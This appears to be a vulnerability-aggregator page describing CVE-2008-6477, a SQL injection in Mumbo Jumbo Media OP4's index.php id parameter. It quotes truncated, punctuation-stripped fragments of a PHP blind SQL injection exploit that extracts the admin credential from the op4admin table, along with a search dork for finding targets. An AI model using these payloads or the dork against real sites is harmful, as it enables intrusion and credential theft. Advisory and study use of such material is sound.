CVE-2008-6477

SQL injection vulnerability in Mumbo Jumbo Media OP4 allows remote attackers to execute arbitrary SQL commands via the id parameter to index.php...

CVE-2008-6477

CVE-2008-6477 involves a SQL injection vulnerability in Mumbo Jumbo Media OP4, where an attacker can send crafted input to the id parameter in index.php to execute arbitrary SQL commands. Affected: Mumbo Jumbo Media OP4. Root cause and exact exploit flow are not detailed in the provided documents...

mumbojumbo-sql.txt

php '.$argv0.' http://www.site.com/cms/ 300 1 '; if $argc 1 printr' '; echo 'Searching for Admin: '; for$i=1; $i = 50; $i++ $temp1 = filegetcontents$argv1.'index.php?id='.$argv2.'+and+lengthselect+kennung+from+op4admin+where+id='.$argv3.'='.$i.'--'; if strpos$temp1,'Die angeforderte Seite existie...

Mumbo Jumbo Media OP4 Remote Blind SQL Injection Exploit

No description provided by source. ?php iniset"maxexecutiontime",0; printr' Mumbo Jumbo Media - OP4 - Blind SQL Injection Exploit Vulnerability discovered by: LidlosesAuge Exploit coded by: LidlosesAuge Greetz to: Free-Hack, GPM Date: 13.04.2008 Dork: "mumbo jumbo media" + inurl:"index.php" Usage...